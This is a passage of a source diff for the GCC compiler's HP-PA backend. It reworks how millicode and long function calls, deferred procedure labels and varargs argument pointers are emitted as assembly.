+      real_name = (*targetm.strip_name_encoding) (fname);
+      TREE_SYMBOL_REFERENCED (get_identifier (real_name)) = 1;
+    }
+
+  return &deferred_plabels[i];
+}
+
 void
 output_deferred_plabels (file)
      FILE *file;
@@ -4734,7 +4807,7 @@ output_deferred_plabels (file)
   if (n_deferred_plabels)
     {
       data_section ();
-      ASM_OUTPUT_ALIGN (file, 2);
+      ASM_OUTPUT_ALIGN (file, TARGET_64BIT ? 3 : 2);
     }
 
   /* Now output the deferred plabels.  */
@@ -5141,13 +5214,9 @@ hppa_builtin_saveregs ()
 		       != void_type_node)))
 		? UNITS_PER_WORD : 0);
 
-  if (argadj)
-    offset = plus_constant (current_function_arg_offset_rtx, argadj);
-  else
-    offset = current_function_arg_offset_rtx;
-
   if (TARGET_64BIT)
     {
+      rtx pa64_arg_pointer_rtx = plus_constant (arg_pointer_rtx, -64);
       int i, off;
 
       /* Adjust for varargs/stdarg differences.  */
@@ -5163,19 +5232,24 @@ hppa_builtin_saveregs ()
 				     plus_constant (arg_pointer_rtx, off)),
 			gen_rtx_REG (word_mode, i));
 
+#if 0
       /* The incoming args pointer points just beyond the flushback area;
 	 normally this is not a serious concern.  However, when we are doing
 	 varargs/stdargs we want to make the arg pointer point to the start
 	 of the incoming argument area.  */
-      emit_move_insn (virtual_incoming_args_rtx,
-		      plus_constant (arg_pointer_rtx, -64));
+      emit_move_insn (virtual_incoming_args_rtx, pa64_arg_pointer_rtx);
+#endif
 
       /* Now return a pointer to the first anonymous argument.  */
-      return copy_to_reg (expand_binop (Pmode, add_optab,
-					virtual_incoming_args_rtx,
+      return copy_to_reg (expand_binop (Pmode, add_optab, pa64_arg_pointer_rtx,
 					offset, 0, 0, OPTAB_LIB_WIDEN));
     }
 
+  if (argadj)
+    offset = plus_constant (current_function_arg_offset_rtx, argadj);
+  else
+    offset = current_function_arg_offset_rtx;
+
   /* Store general registers on the stack.  */
   dest = gen_rtx_MEM (BLKmode,
 		      plus_constant (current_function_internal_arg_pointer,
@@ -5320,9 +5394,9 @@ hppa_va_arg (valist, type)
 
 const char *
 output_cbranch (operands, nullify, length, negated, insn)
-  rtx *operands;
-  int nullify, length, negated;
-  rtx insn;
+     rtx *operands;
+     int nullify, length, negated;
+     rtx insn;
 {
   static char buf[100];
   int useskip = 0;
@@ -5496,12 +5570,11 @@ output_cbranch (operands, nullify, lengt
 	  xoperands[1] = operands[1];
 	  xoperands[2] = operands[2];
 	  xoperands[3] = operands[3];
-	  if (TARGET_SOM || ! TARGET_GAS)
-	    xoperands[4] = gen_label_rtx ();
 
 	  output_asm_insn ("{bl|b,l} .+8,%%r1", xoperands);
-	  if (TARGET_SOM || ! TARGET_GAS)
+	  if (!TARGET_GAS)
 	    {
+	      xoperands[4] = gen_label_rtx ();
 	      output_asm_insn ("addil L'%l0-%l4,%%r1", xoperands);
 	      ASM_OUTPUT_INTERNAL_LABEL (asm_out_file, "L",
 					 CODE_LABEL_NUMBER (xoperands[4]));
@@ -5533,10 +5606,10 @@ output_cbranch (operands, nullify, lengt
 
 const char *
 output_bb (operands, nullify, length, negated, insn, which)
-  rtx *operands ATTRIBUTE_UNUSED;
-  int nullify, length, negated;
-  rtx insn;
-  int which;
+     rtx *operands ATTRIBUTE_UNUSED;
+     int nullify, length, negated;
+     rtx insn;
+     int which;
 {
   static char buf[100];
   int useskip = 0;
@@ -5681,10 +5754,10 @@ output_bb (operands, nullify, length, ne
 
 const char *
 output_bvb (operands, nullify, length, negated, insn, which)
-  rtx *operands ATTRIBUTE_UNUSED;
-  int nullify, length, negated;
-  rtx insn;
-  int which;
+     rtx *operands ATTRIBUTE_UNUSED;
+     int nullify, length, negated;
+     rtx insn;
+     int which;
 {
   static char buf[100];
   int useskip = 0;
@@ -6040,442 +6113,594 @@ output_movb (operands, insn, which_alter
     }
 }
 
+/* Copy any FP arguments in INSN into integer registers.  */
+static void
+copy_fp_args (insn)
+     rtx insn;
+{
+  rtx link;
+  rtx xoperands[2];
 
-/* INSN is a millicode call.  It may have an unconditional jump in its delay
-   slot.
+  for (link = CALL_INSN_FUNCTION_USAGE (insn); link; link = XEXP (link, 1))
+    {
+      int arg_mode, regno;
+      rtx use = XEXP (link, 0);
 
-   CALL_DEST is the routine we are calling.  */
+      if (! (GET_CODE (use) == USE
+	  && GET_CODE (XEXP (use, 0)) == REG
+	  && FUNCTION_ARG_REGNO_P (REGNO (XEXP (use, 0)))))
+	continue;
 
-const char *
-output_millicode_call (insn, call_dest)
-  rtx insn;
-  rtx call_dest;
-{
-  int attr_length = get_attr_length (insn);
-  int seq_length = dbr_sequence_length ();
-  int distance;
-  rtx xoperands[4];
-  rtx seq_insn;
+      arg_mode = GET_MODE (XEXP (use, 0));
+      regno = REGNO (XEXP (use, 0));
+
+      /* Is it a floating point register?  */
+      if (regno >= 32 && regno <= 39)
+	{
+	  /* Copy the FP register into an integer register via memory.  */
+	  if (arg_mode == SFmode)
+	    {
+	      xoperands[0] = XEXP (use, 0);
+	      xoperands[1] = gen_rtx_REG (SImode, 26 - (regno - 32) / 2);
+	      output_asm_insn ("{fstws|fstw} %0,-16(%%sr0,%%r30)", xoperands);
+	      output_asm_insn ("ldw -16(%%sr0,%%r30),%1", xoperands);
+	    }
+	  else
+	    {
+	      xoperands[0] = XEXP (use, 0);
+	      xoperands[1] = gen_rtx_REG (DImode, 25 - (regno - 34) / 2);
+	      output_asm_insn ("{fstds|fstd} %0,-16(%%sr0,%%r30)", xoperands);
+	      output_asm_insn ("ldw -12(%%sr0,%%r30),%R1", xoperands);
+	      output_asm_insn ("ldw -16(%%sr0,%%r30),%1", xoperands);
+	    }
+	}
+    }
+}
 
-  xoperands[3] = gen_rtx_REG (Pmode, TARGET_64BIT ? 2 : 31);
+/* Compute length of the FP argument copy sequence for INSN.  */
+static int
+length_fp_args (insn)
+     rtx insn;
+{
+  int length = 0;
+  rtx link;
 
-  /* Handle common case -- empty delay slot or no jump in the delay slot,
-     and we're sure that the branch will reach the beginning of the $CODE$
-     subspace.  The within reach form of the $$sh_func_adrs call has
-     a length of 28 and attribute type of multi.  This length is the
-     same as the maximum length of an out of reach PIC call to $$div.  */
-  if ((seq_length == 0
-       && (attr_length == 8
-	   || (attr_length == 28 && get_attr_type (insn) == TYPE_MULTI)))
-      || (seq_length != 0
-	  && GET_CODE (NEXT_INSN (insn)) != JUMP_INSN
-	  && attr_length == 4))
+  for (link = CALL_INSN_FUNCTION_USAGE (insn); link; link = XEXP (link, 1))
     {
-      xoperands[0] = call_dest;
-      output_asm_insn ("{bl|b,l} %0,%3%#", xoperands);
-      return "";
+      int arg_mode, regno;
+      rtx use = XEXP (link, 0);
+
+      if (! (GET_CODE (use) == USE
+	  && GET_CODE (XEXP (use, 0)) == REG
+	  && FUNCTION_ARG_REGNO_P (REGNO (XEXP (use, 0)))))
+	continue;
+
+      arg_mode = GET_MODE (XEXP (use, 0));
+      regno = REGNO (XEXP (use, 0));
+
+      /* Is it a floating point register?  */
+      if (regno >= 32 && regno <= 39)
+	{
+	  if (arg_mode == SFmode)
+	    length += 8;
+	  else
+	    length += 12;
+	}
     }
 
-  /* This call may not reach the beginning of the $CODE$ subspace.  */
-  if (attr_length > 8)
+  return length;
+}
+
+/* We include the delay slot in the returned length as it is better to
+   over estimate the length than to under estimate it.  */
+
+int
+attr_length_millicode_call (insn, length)
+     rtx insn;
+     int length;
+{
+  unsigned long distance = total_code_bytes + INSN_ADDRESSES (INSN_UID (insn));
+
+  if (distance < total_code_bytes)
+    distance = -1;
+
+  if (TARGET_64BIT)
     {
-      int delay_insn_deleted = 0;
+      if (!TARGET_LONG_CALLS && distance < 7600000)
+	return length + 8;
 
-      /* We need to emit an inline long-call branch.  */
-      if (seq_length != 0
-	  && GET_CODE (NEXT_INSN (insn)) != JUMP_INSN)
-	{
-	  /* A non-jump insn in the delay slot.  By definition we can
-	     emit this insn before the call.  */
-	  final_scan_insn (NEXT_INSN (insn), asm_out_file, optimize, 0, 0);
+      return length + 20;
+    }
+  else if (TARGET_PORTABLE_RUNTIME)
+    return length + 24;
+  else
+    {
+      if (!TARGET_LONG_CALLS && distance < 240000)
+	return length + 8;
 
-	  /* Now delete the delay insn.  */
-	  PUT_CODE (NEXT_INSN (insn), NOTE);
-	  NOTE_LINE_NUMBER (NEXT_INSN (insn)) = NOTE_INSN_DELETED;
-	  NOTE_SOURCE_FILE (NEXT_INSN (insn)) = 0;
-	  delay_insn_deleted = 1;
-	}
+      if (TARGET_LONG_ABS_CALL && !flag_pic)
+	return length + 12;
 
-      /* PIC long millicode call sequence.  */
-      if (flag_pic)
-	{
-	  xoperands[0] = call_dest;
-	  if (TARGET_SOM || ! TARGET_GAS)
-	    xoperands[1] = gen_label_rtx ();
+      return length + 24;
+    }
+}
 
-	  /* Get our address + 8 into %r1.  */
-	  output_asm_insn ("{bl|b,l} .+8,%%r1", xoperands);
+/* INSN is a function call.  It may have an unconditional jump
+   in its delay slot.
 
-	  if (TARGET_SOM || ! TARGET_GAS)
-	    {
-	      /* Add %r1 to the offset of our target from the next insn.  */
-	      output_asm_insn ("addil L%%%0-%1,%%r1", xoperands);
-	      ASM_OUTPUT_INTERNAL_LABEL (asm_out_file, "L",
-					 CODE_LABEL_NUMBER (xoperands[1]));
-	      output_asm_insn ("ldo R%%%0-%1(%%r1),%%r1", xoperands);
-	    }
-	  else
-	    {
-	      output_asm_insn ("addil L%%%0-$PIC_pcrel$0+4,%%r1", xoperands);
-	      output_asm_insn ("ldo R%%%0-$PIC_pcrel$0+8(%%r1),%%r1",
-			       xoperands);
-	    }
+   CALL_DEST is the routine we are calling.  */
 
-	  /* Get the return address into %r31.  */
-	  output_asm_insn ("blr 0,%3", xoperands);
+const char *
+output_millicode_call (insn, call_dest)
+     rtx insn;
+     rtx call_dest;
+{
+  int attr_length = get_attr_length (insn);
+  int seq_length = dbr_sequence_length ();
+  int distance;
+  rtx seq_insn;
+  rtx xoperands[3];
 
-	  /* Branch to our target which is in %r1.  */
-	  output_asm_insn ("bv,n %%r0(%%r1)", xoperands);
+  xoperands[0] = call_dest;
+  xoperands[2] = gen_rtx_REG (Pmode, TARGET_64BIT ? 2 : 31);
 
-	  /* Empty delay slot.  Note this insn gets fetched twice and
-	     executed once.  To be safe we use a nop.  */
-	  output_asm_insn ("nop", xoperands);
+  /* Handle the common case where we are sure that the branch will
+     reach the beginning of the $CODE$ subspace.  The within reach
+     form of the $$sh_func_adrs call has a length of 28 and attribute
+     type of multi.  This length is the same length as certain
+     out of reach PIC calls to other routines.  The $$sh_func_adrs
+     call never has an insn in the delay slot.  */
+  if (!TARGET_LONG_CALLS
+      && ((seq_length == 0
+	   && (attr_length == 12
+	       || (attr_length == 32 && get_attr_type (insn) == TYPE_MULTI)))
+	  || (seq_length != 0 && attr_length == 8)))
+    {
+      output_asm_insn ("{bl|b,l} %0,%2", xoperands);
+    }
+  else
+    {
+      if (TARGET_64BIT)
+	{
+	  /* It might seem that one insn could be saved by accessing
+	     the millicode function using the linkage table.  However,
+	     this doesn't work in shared libraries and other dynamically
+	     loaded objects.  Using a pc-relative sequence also avoids
+	     problems related to the implicit use of the gp register.  */
+	  output_asm_insn ("b,l .+8,%%r1", xoperands);
+	  output_asm_insn ("addil L'%0-$PIC_pcrel$0+4,%%r1", xoperands);
+	  output_asm_insn ("ldo R'%0-$PIC_pcrel$0+8(%%r1),%%r1", xoperands);
+	  output_asm_insn ("bve,l (%%r1),%%r2", xoperands);
 	}
-      /* Pure portable runtime doesn't allow be/ble; we also don't have
-	 PIC support in the assembler/linker, so this sequence is needed.  */
       else if (TARGET_PORTABLE_RUNTIME)
 	{
-	  xoperands[0] = call_dest;
-	  /* Get the address of our target into %r29.  */
-	  output_asm_insn ("ldil L%%%0,%%r29", xoperands);
-	  output_asm_insn ("ldo R%%%0(%%r29),%%r29", xoperands);
+	  /* Pure portable runtime doesn't allow be/ble; we also don't
+	     have PIC support in the assembler/linker, so this sequence
+	     is needed.  */
+
+	  /* Get the address of our target into %r1.  */
+	  output_asm_insn ("ldil L'%0,%%r1", xoperands);
+	  output_asm_insn ("ldo R'%0(%%r1),%%r1", xoperands);
 
 	  /* Get our return address into %r31.  */
-	  output_asm_insn ("blr %%r0,%3", xoperands);
+	  output_asm_insn ("{bl|b,l} .+8,%%r31", xoperands);
+	  output_asm_insn ("addi 8,%%r31,%%r31", xoperands);
 
-	  /* Jump to our target address in %r29.  */
-	  output_asm_insn ("bv,n %%r0(%%r29)", xoperands);
-
-	  /* Empty delay slot.  Note this insn gets fetched twice and
-	     executed once.  To be safe we use a nop.  */
-	  output_asm_insn ("nop", xoperands);
+	  /* Jump to our target address in %r1.  */
+	  output_asm_insn ("bv %%r0(%%r1)", xoperands);
 	}
-      /* If we're allowed to use be/ble instructions, then this is the
-	 best sequence to use for a long millicode call.  */
-      else
+      else if (!flag_pic)
 	{
-	  xoperands[0] = call_dest;
-	  output_asm_insn ("ldil L%%%0,%3", xoperands);
+	  output_asm_insn ("ldil L'%0,%%r1", xoperands);
 	  if (TARGET_PA_20)
-	    output_asm_insn ("be,l R%%%0(%%sr4,%3),%%sr0,%%r31", xoperands);
+	    output_asm_insn ("be,l R'%0(%%sr4,%%r1),%%sr0,%%r31", xoperands);
 	  else
-	    output_asm_insn ("ble R%%%0(%%sr4,%3)", xoperands);
-	  output_asm_insn ("nop", xoperands);
+	    output_asm_insn ("ble R'%0(%%sr4,%%r1)", xoperands);
 	}
-
-      /* If we had a jump in the call's delay slot, output it now.  */
-      if (seq_length != 0 && !delay_insn_deleted)
+      else
 	{
-	  xoperands[0] = XEXP (PATTERN (NEXT_INSN (insn)), 1);
-	  output_asm_insn ("b,n %0", xoperands);
+	  if (TARGET_SOM || !TARGET_GAS)
+	    {
+	      /* The HP assembler can generate relocations for the
+		 difference of two symbols.  GAS can do this for a
+		 millicode symbol but not an arbitrary external
+		 symbol when generating SOM output.  */
+	      xoperands[1] = gen_label_rtx ();
+	      output_asm_insn ("{bl|b,l} .+8,%%r1", xoperands);
+	      output_asm_insn ("addi 16,%%r1,%%r31", xoperands);
+	      ASM_OUTPUT_INTERNAL_LABEL (asm_out_file, "L",
+					 CODE_LABEL_NUMBER (xoperands[1]));
+	      output_asm_insn ("addil L'%0-%l1,%%r1", xoperands);
+	      output_asm_insn ("ldo R'%0-%l1(%%r1),%%r1", xoperands);
+	    }
+	  else
+	    {
+	      output_asm_insn ("{bl|b,l} .+8,%%r1", xoperands);
+	      output_asm_insn ("addi 16,%%r1,%%r31", xoperands);
+	      output_asm_insn ("addil L'%0-$PIC_pcrel$0+8,%%r1", xoperands);
+	      output_asm_insn ("ldo R'%0-$PIC_pcrel$0+12(%%r1),%%r1",
+			       xoperands);
+	    }
 
-	  /* Now delete the delay insn.  */
-	  PUT_CODE (NEXT_INSN (insn), NOTE);
-	  NOTE_LINE_NUMBER (NEXT_INSN (insn)) = NOTE_INSN_DELETED;
-	  NOTE_SOURCE_FILE (NEXT_INSN (insn)) = 0;
+	  /* Jump to our target address in %r1.  */
+	  output_asm_insn ("bv %%r0(%%r1)", xoperands);
 	}
-      return "";
     }
 
-  /* This call has an unconditional jump in its delay slot and the
-     call is known to reach its target or the beginning of the current
-     subspace.  */
-
-  /* Use the containing sequence insn's address.  */
-  seq_insn = NEXT_INSN (PREV_INSN (XVECEXP (final_sequence, 0, 0)));
+  if (seq_length == 0)
+    output_asm_insn ("nop", xoperands);
 
-  distance = INSN_ADDRESSES (INSN_UID (JUMP_LABEL (NEXT_INSN (insn))))
-	       - INSN_ADDRESSES (INSN_UID (seq_insn)) - 8;
+  /* We are done if there isn't a jump in the delay slot.  */
+  if (seq_length == 0 || GET_CODE (NEXT_INSN (insn)) != JUMP_INSN)
+    return "";
 
-  /* If the branch was too far away, emit a normal call followed
-     by a nop, followed by the unconditional branch.
+  /* This call has an unconditional jump in its delay slot.  */
+  xoperands[0] = XEXP (PATTERN (NEXT_INSN (insn)), 1);
 
-     If the branch is close, then adjust %r2 from within the
-     call's delay slot.  */
+  /* See if the return address can be adjusted.  Use the containing
+     sequence insn's address.  */
+  seq_insn = NEXT_INSN (PREV_INSN (XVECEXP (final_sequence, 0, 0)));
+  distance = (INSN_ADDRESSES (INSN_UID (JUMP_LABEL (NEXT_INSN (insn))))
+	      - INSN_ADDRESSES (INSN_UID (seq_insn)) - 8);
 
-  xoperands[0] = call_dest;
-  xoperands[1] = XEXP (PATTERN (NEXT_INSN (insn)), 1);
-  if (! VAL_14_BITS_P (distance))
-    output_asm_insn ("{bl|b,l} %0,%3\n\tnop\n\tb,n %1", xoperands);
-  else
+  if (VAL_14_BITS_P (distance))
     {
-      xoperands[2] = gen_label_rtx ();
-      output_asm_insn ("\n\t{bl|b,l} %0,%3\n\tldo %1-%2(%3),%3",
-		       xoperands);
+      xoperands[1] = gen_label_rtx ();
+      output_asm_insn ("ldo %0-%1(%2),%2", xoperands);
       ASM_OUTPUT_INTERNAL_LABEL (asm_out_file, "L",
-				 CODE_LABEL_NUMBER (xoperands[2]));
+				 CODE_LABEL_NUMBER (xoperands[3]));
     }
+  else
+    /* ??? This branch may not reach its target.  */
+    output_asm_insn ("nop\n\tb,n %0", xoperands);
 
   /* Delete the jump.  */
   PUT_CODE (NEXT_INSN (insn), NOTE);
   NOTE_LINE_NUMBER (NEXT_INSN (insn)) = NOTE_INSN_DELETED;
   NOTE_SOURCE_FILE (NEXT_INSN (insn)) = 0;
+
   return "";
 }
 
-/* INSN is either a function call.  It may have an unconditional jump
+/* We include the delay slot in the returned length as it is better to
+   over estimate the length than to under estimate it.  */
+
+int
+attr_length_call (insn, sibcall)
+     rtx insn;
+     int sibcall;
+{
+  unsigned long distance = total_code_bytes + INSN_ADDRESSES (INSN_UID (insn));
+
+  if (distance < total_code_bytes)
+    distance = -1;
+
+  if (TARGET_64BIT)
+    {
+      if (!TARGET_LONG_CALLS
+	  && ((sibcall && distance < 240000) || distance < 7600000))
+	return 8;
+
+      return (sibcall ? 28 : 24);
+    }
+  else
+    {
+      if (!TARGET_LONG_CALLS
+	  && ((TARGET_PA_20 && !sibcall && distance < 7600000)
+	      || distance < 240000))
+	return 8;
+
+      if (TARGET_LONG_ABS_CALL && !flag_pic)
+	return 12;
+
+      if ((TARGET_SOM && TARGET_LONG_PIC_SDIFF_CALL)
+	  || (TARGET_GAS && TARGET_LONG_PIC_PCREL_CALL))
+	{
+	  if (TARGET_PA_20)
+	    return 20;
+
+	  return 28;
+	}
+      else
+	{
+	  int length = 0;
+
+	  if (TARGET_SOM)
+	    length += length_fp_args (insn);
+
+	  if (flag_pic)
+	    length += 4;
+
+	  if (TARGET_PA_20)
+	    return (length + 32);
+
+	  if (!sibcall)
+	    length += 8;
+
+	  return (length + 40);
+	}
+    }
+}
+
+/* INSN is a function call.  It may have an unconditional jump
    in its delay slot.
 
    CALL_DEST is the routine we are calling.  */
 
 const char *
 output_call (insn, call_dest, sibcall)
-  rtx insn;
-  rtx call_dest;
-  int sibcall;
+     rtx insn;
+     rtx call_dest;
+     int sibcall;
 {
+  int delay_insn_deleted = 0;
+  int delay_slot_filled = 0;
   int attr_length = get_attr_length (insn);
   int seq_length = dbr_sequence_length ();
-  int distance;
-  rtx xoperands[4];
-  rtx seq_insn;
+  rtx xoperands[2];
 
-  /* Handle common case -- empty delay slot or no jump in the delay slot,
-     and we're sure that the branch will reach the beginning of the $CODE$
-     subspace.  */
-  if ((seq_length == 0 && attr_length == 12)
-      || (seq_length != 0
-	  && GET_CODE (NEXT_INSN (insn)) != JUMP_INSN
-	  && attr_length == 8))
+  xoperands[0] = call_dest;
+
+  /* Handle the common case where we're sure that the branch will reach
+     the beginning of the $CODE$ subspace.  */
+  if (!TARGET_LONG_CALLS
+      && ((seq_length == 0 && attr_length == 12)
+	  || (seq_length != 0 && attr_length == 8)))
     {
-      xoperands[0] = call_dest;
       xoperands[1] = gen_rtx_REG (word_mode, sibcall ? 0 : 2);
-      output_asm_insn ("{bl|b,l} %0,%1%#", xoperands);
-      return "";
+      output_asm_insn ("{bl|b,l} %0,%1", xoperands);
     }
-
-  /* This call may not reach the beginning of the $CODE$ subspace.  */
-  if (attr_length > 12)
+  else
     {
-      int delay_insn_deleted = 0;
-      rtx xoperands[2];
-      rtx link;
-
-      /* We need to emit an inline long-call branch.  Furthermore,
-	 because we're changing a named function call into an indirect
-	 function call well after the parameters have been set up, we
-	 need to make sure any FP args appear in both the integer
-	 and FP registers.  Also, we need move any delay slot insn
-	 out of the delay slot.  And finally, we can't rely on the linker
-	 being able to fix the call to $$dyncall!  -- Yuk!.  */
-      if (seq_length != 0
-	  && GET_CODE (NEXT_INSN (insn)) != JUMP_INSN)
-	{
-	  /* A non-jump insn in the delay slot.  By definition we can
-	     emit this insn before the call (and in fact before argument
-	     relocating.  */
-	  final_scan_insn (NEXT_INSN (insn), asm_out_file, optimize, 0, 0);
-
-	  /* Now delete the delay insn.  */
-	  PUT_CODE (NEXT_INSN (insn), NOTE);
-	  NOTE_LINE_NUMBER (NEXT_INSN (insn)) = NOTE_INSN_DELETED;
-	  NOTE_SOURCE_FILE (NEXT_INSN (insn)) = 0;
-	  delay_insn_deleted = 1;
-	}
-
-      /* Now copy any FP arguments into integer registers.  */
-      for (link = CALL_INSN_FUNCTION_USAGE (insn); link; link = XEXP (link, 1))
-	{
-	  int arg_mode, regno;
-	  rtx use = XEXP (link, 0);
-	  if (! (GET_CODE (use) == USE
-		 && GET_CODE (XEXP (use, 0)) == REG
-		 && FUNCTION_ARG_REGNO_P (REGNO (XEXP (use, 0)))))
-	    continue;
-
-	  arg_mode = GET_MODE (XEXP (use, 0));
-	  regno = REGNO (XEXP (use, 0));
-	  /* Is it a floating point register?  */
-	  if (regno >= 32 && regno <= 39)
-	    {
-	      /* Copy from the FP register into an integer register
-		 (via memory).  */
-	      if (arg_mode == SFmode)
-		{
-		  xoperands[0] = XEXP (use, 0);
-		  xoperands[1] = gen_rtx_REG (SImode, 26 - (regno - 32) / 2);
-		  output_asm_insn ("{fstws|fstw} %0,-16(%%sr0,%%r30)",
-				    xoperands);
-		  output_asm_insn ("ldw -16(%%sr0,%%r30),%1", xoperands);
-		}
-	      else
-		{
-		  xoperands[0] = XEXP (use, 0);
-		  xoperands[1] = gen_rtx_REG (DImode, 25 - (regno - 34) / 2);
-		  output_asm_insn ("{fstds|fstd} %0,-16(%%sr0,%%r30)",
-				    xoperands);
-		  output_asm_insn ("ldw -12(%%sr0,%%r30),%R1", xoperands);
-		  output_asm_insn ("ldw -16(%%sr0,%%r30),%1", xoperands);
-		}
+      if (TARGET_64BIT)
+	{
+	  /* ??? As far as I can tell, the HP linker doesn't support the
+	     long pc-relative sequence described in the 64-bit runtime
+	     architecture.  So, we use a slightly longer indirect call.  */
+	  struct deferred_plabel *p = get_plabel (XSTR (call_dest, 0));
+
+	  xoperands[0] = p->internal_label;
+	  xoperands[1] = gen_label_rtx ();
+
+	  /* If this isn't a sibcall, we put the load of %r27 into the
+	     delay slot.  We can't do this in a sibcall as we don't
+	     have a second call-clobbered scratch register available.  */
+	  if (seq_length != 0
+	      && GET_CODE (NEXT_INSN (insn)) != JUMP_INSN
+	      && !sibcall)
+	    {
+	      final_scan_insn (NEXT_INSN (insn), asm_out_file,
+			       optimize, 0, 0);
+
+	      /* Now delete the delay insn.  */
+	      PUT_CODE (NEXT_INSN (insn), NOTE);
+	      NOTE_LINE_NUMBER (NEXT_INSN (insn)) = NOTE_INSN_DELETED;
+	      NOTE_SOURCE_FILE (NEXT_INSN (insn)) = 0;
+	      delay_insn_deleted = 1;
+	    }
+
+	  output_asm_insn ("addil LT'%0,%%r27", xoperands);
+	  output_asm_insn ("ldd RT'%0(%%r1),%%r1", xoperands);
+	  output_asm_insn ("ldd 0(%%r1),%%r1", xoperands);
+
+	  if (sibcall)
+	    {
+	      output_asm_insn ("ldd 24(%%r1),%%r27", xoperands);
+	      output_asm_insn ("ldd 16(%%r1),%%r1", xoperands);
+	      output_asm_insn ("bve (%%r1)", xoperands);
+	    }
+	  else
+	    {
+	      output_asm_insn ("ldd 16(%%r1),%%r2", xoperands);
+	      output_asm_insn ("bve,l (%%r2),%%r2", xoperands);
+	      output_asm_insn ("ldd 24(%%r1),%%r27", xoperands);
+	      delay_slot_filled = 1;
 	    }
 	}
-
-      /* Don't have to worry about TARGET_PORTABLE_RUNTIME here since
-	 we don't have any direct calls in that case.  */
+      else
 	{
-	  size_t i;
-	  const char *name = XSTR (call_dest, 0);
+	  int indirect_call = 0;
 
-	  /* See if we have already put this function on the list
-	     of deferred plabels.  This list is generally small,
-	     so a liner search is not too ugly.  If it proves too
-	     slow replace it with something faster.  */
-	  for (i = 0; i < n_deferred_plabels; i++)
-	    if (strcmp (name, deferred_plabels[i].name) == 0)
-	      break;
-
-	  /* If the deferred plabel list is empty, or this entry was
-	     not found on the list, create a new entry on the list.  */
-	  if (deferred_plabels == NULL || i == n_deferred_plabels)
-	    {
-	      const char *real_name;
-
-	      if (deferred_plabels == 0)
-		deferred_plabels = (struct deferred_plabel *)
-		  ggc_alloc (sizeof (struct deferred_plabel));
+	  /* Emit a long call.  There are several different sequences
+	     of increasing length and complexity.  In most cases,
+             they don't allow an instruction in the delay slot.  */
+	  if (!(TARGET_LONG_ABS_CALL && !flag_pic)
+	      && !(TARGET_SOM && TARGET_LONG_PIC_SDIFF_CALL)
+	      && !(TARGET_GAS && TARGET_LONG_PIC_PCREL_CALL))
+	    indirect_call = 1;
+
+	  if (seq_length != 0
+	      && GET_CODE (NEXT_INSN (insn)) != JUMP_INSN
+	      && !sibcall
+	      && (!TARGET_PA_20 || indirect_call))
+	    {
+	      /* A non-jump insn in the delay slot.  By definition we can
+		 emit this insn before the call (and in fact before argument
+		 relocating.  */
+	      final_scan_insn (NEXT_INSN (insn), asm_out_file, optimize, 0, 0);
+
+	      /* Now delete the delay insn.  */
+	      PUT_CODE (NEXT_INSN (insn), NOTE);
+	      NOTE_LINE_NUMBER (NEXT_INSN (insn)) = NOTE_INSN_DELETED;
+	      NOTE_SOURCE_FILE (NEXT_INSN (insn)) = 0;
+	      delay_insn_deleted = 1;
+	    }
+
+	  if (TARGET_LONG_ABS_CALL && !flag_pic)
+	    {
+	      /* This is the best sequence for making long calls in
+		 non-pic code.  Unfortunately, GNU ld doesn't provide
+		 the stub needed for external calls, and GAS's support
+		 for this with the SOM linker is buggy.  */
+	      output_asm_insn ("ldil L'%0,%%r1", xoperands);
+	      if (sibcall)
+		output_asm_insn ("be R'%0(%%sr4,%%r1)", xoperands);
 	      else
-		deferred_plabels = (struct deferred_plabel *)
-		  ggc_realloc (deferred_plabels,
-			    ((n_deferred_plabels + 1)
-			     * sizeof (struct deferred_plabel)));
-
-	      i = n_deferred_plabels++;
-	      deferred_plabels[i].internal_label = gen_label_rtx ();
-	      deferred_plabels[i].name = ggc_strdup (name);
-
-	      /* Gross.  We have just implicitly taken the address of this
-		 function, mark it as such.  */
-	      real_name = (*targetm.strip_name_encoding) (name);
-	      TREE_SYMBOL_REFERENCED (get_identifier (real_name)) = 1;
-	    }
-
-	  /* We have to load the address of the function using a procedure
-	     label (plabel).  Inline plabels can lose for PIC and other
-	     cases, so avoid them by creating a 32bit plabel in the data
-	     segment.  */
-	  if (flag_pic)
-	    {
-	      xoperands[0] = deferred_plabels[i].internal_label;
-	      if (TARGET_SOM || ! TARGET_GAS)
-		xoperands[1] = gen_label_rtx ();
-
-	      output_asm_insn ("addil LT%%%0,%%r19", xoperands);
-	      output_asm_insn ("ldw RT%%%0(%%r1),%%r22", xoperands);
-	      output_asm_insn ("ldw 0(%%r22),%%r22", xoperands);
-
-	      /* Get our address + 8 into %r1.  */
-	      output_asm_insn ("{bl|b,l} .+8,%%r1", xoperands);
+		{
+		  if (TARGET_PA_20)
+		    output_asm_insn ("be,l R'%0(%%sr4,%%r1),%%sr0,%%r31",
+				     xoperands);
+		  else
+		    output_asm_insn ("ble R'%0(%%sr4,%%r1)", xoperands);
 
-	      if (TARGET_SOM || ! TARGET_GAS)
+		  output_asm_insn ("copy %%r31,%%r2", xoperands);
+		  delay_slot_filled = 1;
+		}
+	    }
+	  else
+	    {
+	      if (TARGET_SOM && TARGET_LONG_PIC_SDIFF_CALL)
 		{
-		  /* Add %r1 to the offset of dyncall from the next insn.  */
-		  output_asm_insn ("addil L%%$$dyncall-%1,%%r1", xoperands);
+		  /* The HP assembler and linker can handle relocations
+		     for the difference of two symbols.  GAS and the HP
+		     linker can't do this when one of the symbols is
+		     external.  */
+		  xoperands[1] = gen_label_rtx ();
+		  output_asm_insn ("{bl|b,l} .+8,%%r1", xoperands);
+		  output_asm_insn ("addil L'%0-%l1,%%r1", xoperands);
 		  ASM_OUTPUT_INTERNAL_LABEL (asm_out_file, "L",
 					     CODE_LABEL_NUMBER (xoperands[1]));
-		  output_asm_insn ("ldo R%%$$dyncall-%1(%%r1),%%r1", xoperands);
-	        }
-	      else
+		  output_asm_insn ("ldo R'%0-%l1(%%r1),%%r1", xoperands);
+		}
+	      else if (TARGET_GAS && TARGET_LONG_PIC_PCREL_CALL)
 		{
-		  output_asm_insn ("addil L%%$$dyncall-$PIC_pcrel$0+4,%%r1",
+		  /*  GAS currently can't generate the relocations that
+		      are needed for the SOM linker under HP-UX using this
+		      sequence.  The GNU linker doesn't generate the stubs
+		      that are needed for external calls on TARGET_ELF32
+		      with this sequence.  For now, we have to use a
+		      longer plabel sequence when using GAS.  */
+		  output_asm_insn ("{bl|b,l} .+8,%%r1", xoperands);
+		  output_asm_insn ("addil L'%0-$PIC_pcrel$0+4,%%r1",
 				   xoperands);
-		  output_asm_insn ("ldo R%%$$dyncall-$PIC_pcrel$0+8(%%r1),%%r1",
